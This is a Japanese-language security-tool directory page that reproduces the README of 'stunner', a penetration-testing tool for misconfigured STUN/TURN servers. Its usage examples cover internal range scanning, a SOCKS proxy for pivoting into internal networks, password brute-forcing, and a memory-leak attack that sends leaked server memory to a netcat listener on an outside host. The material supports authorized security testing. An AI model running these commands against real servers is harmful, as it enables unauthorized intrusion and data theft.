Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
stunner — STUN/TURNサーバーの設定ミスをテストおよび悪用し、SOCKSプロキシを介した内部ネットワークのピボット、メモリリーク攻撃、内部ポートスキャンを可能にします。 | Kitploit
ツール/GitHubGitHub/firefart/stunner
脆弱性分析エクスプロイトネットワークセキュリティペネトレーションテスト設定ミスレッドチーミング
GitHubfirefart/stunner

stunner

STUN/TURNサーバーの設定ミスをテストおよび悪用し、SOCKSプロキシを介した内部ネットワークのピボット、メモリリーク攻撃、内部ポートスキャンを可能にします。

リポジトリを見る
8574612520日前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

STUNNER

Stunnerは、STUN、TURN、およびTCP経由のTURNサーバーをテストおよび悪用するためのツールです。 TURNは、主にビデオ会議や音声チャット(WebRTC)で使用されるプロトコルです。

設定が誤ったサーバーを見つけた場合、このツールを使用して、TURNプロトコルを介してサーバー背後にある内部ネットワークにすべてのトラフィックを中継するローカルSOCKSプロキシを開くことができます。

このツールは、Cisco Expresswayのテスト中に開発したもので、いくつかの脆弱性が発見されました: https://firefart.at/post/multiple_vulnerabilities_cisco_expressway/

必要なユーザー名とパスワードを取得するには、BurpでWebブラウザからのConnectリクエストをスニッフィングするなどの帯域外方法を使用して取得する必要があります。このようなサーバーをテストする方法については、READMEの下部にワークフローの例を追加しました。

ライセンス

この作品は、クリエイティブ・コモンズ表示-非営利-継承 4.0 国際ライセンスの下で提供されています。このライセンスのコピーを表示するには、http://creativecommons.org/licenses/by-nc-sa/4.0/ にアクセスするか、Creative Commons, PO Box 1866, Mountain View, CA 94042, USA に手紙を送ってください。

実装されたRFC

STUN: RFC 5389

TURN: RFC 5766

TCP用TURN: RFC 6062

IPv6用TURN拡張: RFC 6156

使用可能なコマンド

info

このコマンドは、使用されているソフトウェアなどのサポートされているプロトコルや属性を含む、STUNまたはTURNサーバーに関する情報を出力します。

オプション

--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--timeout value               connect timeout to turn server (default: 1s)
--help, -h                    show help (default: false)

例

./stunner info -s x.x.x.x:443

range-scan

このコマンドは、いくつかのプライベートおよび制限された範囲を試行して、TURNサーバーが指定されたIPアドレスへの接続を許可するように設定されているかどうかを確認します。特定の範囲が禁止されていない場合、指定された他のコマンドでその範囲をさらに列挙できます。IPに到達可能な場合、TURNサーバーがこのIPへのトラフィックを転送することを意味します。

オプション

--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value              protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value               connect timeout to turn server (default: 1s)
--username value, -u value    username for the turn server
--password value, -p value    password for the turn server
--help, -h                    show help (default: false)

例

TCPベースのTURN接続(あなたからTURNサーバーへの接続):

./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol tcp

UDPベースのTURN接続(あなたからTURNサーバーへの接続):

./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol udp

socks

これは、バックエンドサーバーへのTCP接続をサポートするTURNサーバーにとって最も便利なコマンドの1つです。認証なしのローカルSOCKS5サーバーを起動し、すべてのTCPトラフィックをTURNプロトコル経由で中継します(SOCKS経由のUDPは現在サポートされていません)。サーバーの設定が誤っている場合、内部アドレスにトラフィックを転送するため、内部システムに到達し、サーバーを内部ネットワークへのプロキシとして悪用できます。SOCKS経由でDNSルックアップも行うことを選択した場合、ローカルのネームサーバーを使用して解決されるため、プライベートIPv4およびIPv6アドレスを使用するのが最適です。このモジュールはTCPトラフィックのみを中継できることに注意してください。

オプション

--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value              protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value               connect timeout to turn server (default: 1s)
--username value, -u value    username for the turn server
--password value, -p value    password for the turn server
--listen value, -l value      Address and port to listen on (default: "127.0.0.1:1080")
--drop-public, -x             Drop requests to public IPs. This is handy if the target can not connect to the internet and your browser want's to check TLS certificates via the connection. (default: true)
--help, -h                    show help (default: false)

例

./stunner socks -s x.x.x.x:3478 -u username -p password -x

プロキシを起動したら、ブラウザを開き、設定でプロキシを127.0.0.1:1080のSOCKS5に指定し(ローカルアドレスをバイパスするオプションは設定しないでください。リモートのローカルアドレスに到達したいため)、ブラウザで目的のIPを呼び出します。

例: https://127.0.0.1, https://127.0.0.1:8443 または https://[::1]:8443(これらは、テスト対象のTURNサーバーのローカルインターフェースからポートを呼び出します)

また、proxychainsをこのプロキシを使用するように設定することもできます(ただし、各リクエストでプロキシを有効にするために複数のリクエストが発生するため、非常に遅くなります)。/etc/proxychains.confを編集し、ProxyListの下にsocks5 127.0.0.1 1080という値を追加します。

正しく設定されたproxychainsを使用した、このSOCKS5プロキシ経由のnmapの例(-sTを使用してTCP SYNスキャンを行うことに注意。そうしないとSOCKS5プロキシが使用されません):

sudo proxychains nmap -sT -p 80,443,8443 -sV 127.0.0.1

brute-transports

これは、おそらく有用な情報は得られませんが、サーバーがサポートするすべての利用可能なトランスポート(=内部システムへのプロトコル)を列挙するのに役立つ場合があります。これにより、いくつかのカスタムプロトコル実装が表示される可能性がありますが、ほとんどの場合、デフォルトのみが返されます。

オプション

--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value              protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value               connect timeout to turn server (default: 1s)
--username value, -u value    username for the turn server
--password value, -p value    password for the turn server
--help, -h                    show help (default: false)

例

./stunner brute-transports -s x.x.x.x:3478 -u username -p password

brute-password

このコマンドは、指定されたファイルからすべてのパスワードをTURNプロトコル(UDP)経由でユーザー名に対して試行します。これは、pcapを分析していて、ユーザー名は確認できるがパスワードは確認できない場合に役立ちます。この場合、オフラインでのブルートフォースの方がはるかに高速であることに注意してください。

オプション

--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value              protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value               connect timeout to turn server (default: 1s)
--username value, -u value    username for the turn server
--passfile value, -p value    passwordfile to use for bruteforce
--help, -h                    show help (default: false)

例

./stunner brute-password -s x.x.x.x:3478 -u username -p wordlist.txt

memoryleak

この攻撃は次のように機能します: サーバーはtargetに送信するデータをTLV(Type Length Value)として受け取ります。このエクスプロイトでは、短い値に対して大きな長さを使用します。サーバーがTLVの境界をチェックしない場合、length分のメモリをtargetに送信する可能性があります。Cisco Expresswayはこれに対して脆弱であることが確認されていますが、Ciscoによると、現在のセッションのメモリのみを漏洩します。

オプション

--debug, -d                   enable debug output (default: false)
--turnserver value, -s value  turn server to connect to in the format host:port
--tls                         Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value              protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value               connect timeout to turn server (default: 1s)
--username value, -u value    username for the turn server
--password value, -p value    password for the turn server
--target value, -t value      Target to leak memory to in the form host:port. Should be a public server under your control
--size value                  Size of the buffer to leak (default: 35510)
--help, -h                    show help (default: false)

例

データを受信するには、パブリックIPを持つサーバーにレシーバーをセットアップする必要があります。通常、ファイアウォールはTURNサーバーからの高ポート(>1024)のみを許可するように設定されているため、インターネットに接続する際は、この例のように8080のような高ポートを使用してください。

sudo nc -u -l -n -v -p 8080 | hexdump -C

次に、自分のマシンで以下のステートメントを実行し、tパラメータにパブリックIPを追加します。

./stunner memoryleak -s x.x.x.x:3478 -t y.y.y.y:8080 -u username -p password
ツールをダウンロード